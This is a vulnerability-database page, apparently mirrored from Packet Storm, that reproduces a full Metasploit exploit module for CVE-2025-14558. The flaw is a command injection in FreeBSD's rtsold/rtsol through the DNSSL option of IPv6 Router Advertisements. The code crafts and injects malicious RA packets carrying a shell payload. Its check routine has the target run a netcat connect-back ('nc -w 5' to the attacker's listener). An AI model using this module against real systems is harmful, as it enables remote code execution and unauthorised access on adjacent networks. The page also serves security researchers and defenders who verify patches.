Lucene search
K

📄 FreeBSD rtsold/rtsol DNSSL Command Injection

🗓️ 13 Feb 2026 00:00:00Reported by Kevin Day, Lukas Johannes MöllerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 112 Views

Exploits CVE-2025-14558 in FreeBSD rtsold/rtsol via DNSSL in IPv6 RA to resolvconf; requires root.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-14558
20 Dec 202517:41
githubexploit
FreeBSD
FreeBSD -- Remote code execution via ND6 Router Advertisements
16 Dec 202500:00
freebsd
ATTACKERKB
CVE-2025-14558
9 Mar 202611:27
attackerkb
Circl
CVE-2025-14558
19 Dec 202514:32
circl
CNNVD
FreeBSD 安全漏洞
25 Dec 202500:00
cnnvd
CVE
CVE-2025-14558
9 Mar 202611:27
cve
Cvelist
CVE-2025-14558 Remote code execution via ND6 Router Advertisements
9 Mar 202611:27
cvelist
Exploit DB
FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
25 Dec 202500:00
exploitdb
EUVD
EUVD-2025-208403
9 Mar 202612:31
euvd
EUVD
EUVD-2025-208404
9 Mar 202612:31
euvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Capture
      include Msf::Exploit::Remote::Ipv6
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection',
            'Description' => %q{
              This module exploits a command injection vulnerability (CVE-2025-14558)
              in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
              validate the domain search list options provided in IPv6 Router
              Advertisement messages; the option body is passed to resolvconf(8)
              unmodified. resolvconf(8) is a shell script which does not validate
              its input. A lack of quoting means that shell commands passed as input
              to resolvconf(8) may be executed, enabling command injection via $()
              substitution in the DNSSL domain name fields.
    
              This exploit requires Layer 2 adjacency to the target (same network
              segment) and root privileges to send raw packets. Router advertisement
              messages are not routable and should be dropped by routers, so the
              attack does not cross network boundaries.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Lukas Johannes Möller',  # Metasploit module and PoC
              'Kevin Day'               # Vulnerability discovery
            ],
            'References' => [
              ['CVE', '2025-14558'],
              ['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
              ['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
            ],
            'Platform' => ['unix'],
            'Arch' => ARCH_CMD,
            'Privileged' => true,
            'Targets' => [
              [
                'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)',
                {}
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-12-16',
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/generic'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']),
            OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
            OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000])
          ]
        )
    
        deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
      end
    
      def check
        check_pcaprub_loaded
    
        # Use unspecified address to select default outbound interface
        lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')
        lport = datastore['LPORT'] || rand(44444..45444)
        service = nil
        client = nil
    
        begin
          service = Rex::Socket::TcpServer.create(
            'LocalHost' => lhost,
            'LocalPort' => lport,
            'SSL' => false,
            'Context' => {
              'Msf' => framework,
              'MsfExploit' => self
            }
          )
    
          vprint_status("Started check listener on #{lhost}:#{lport}")
    
          check_cmd = "nc -w 5 #{lhost} #{lport}"
          vprint_status("Sending RA packets with check payload: #{check_cmd}")
    
          send_ra_packets(check_cmd)
    
          vprint_status('Waiting for connection...')
    
          Timeout.timeout(10) do
            client = service.accept
            if client
              vprint_good("Connection received from #{client.peerhost}")
              return CheckCode::Vulnerable('Target connected back via encoded payload')
            end
          end
        rescue Timeout::Error
          return CheckCode::Safe('No connection received within timeout')
        rescue RuntimeError => e
          return CheckCode::Unknown("Pcaprub error: #{e}")
        rescue StandardError => e
          return CheckCode::Unknown("Error during check: #{e.class} - #{e}")
        ensure
          client.close if client
          service.close if service
        end
    
        CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')
      end
    
      def send_ra_packets(cmd)
        interface = datastore['INTERFACE']
        count = datastore['COUNT']
        delay_ms = datastore['DELAY']
    
        begin
          smac = get_mac(interface)
        rescue StandardError => e
          fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}")
        end
    
        begin
          open_pcap('INTERFACE' => interface, 'ARPCAP' => false)
        rescue StandardError => e
          fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}")
        end
    
        begin
          pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface))
          count.times do |i|
            inject(pkt.to_s)
            Rex.sleep(delay_ms / 1000.0) if i < count - 1
          end
        ensure
          close_pcap
        end
      end
    
      def exploit
        check_pcaprub_loaded
    
        print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...")
        send_ra_packets(payload.encoded)
        print_good('Router Advertisement(s) sent successfully')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
EPSS0.55423
112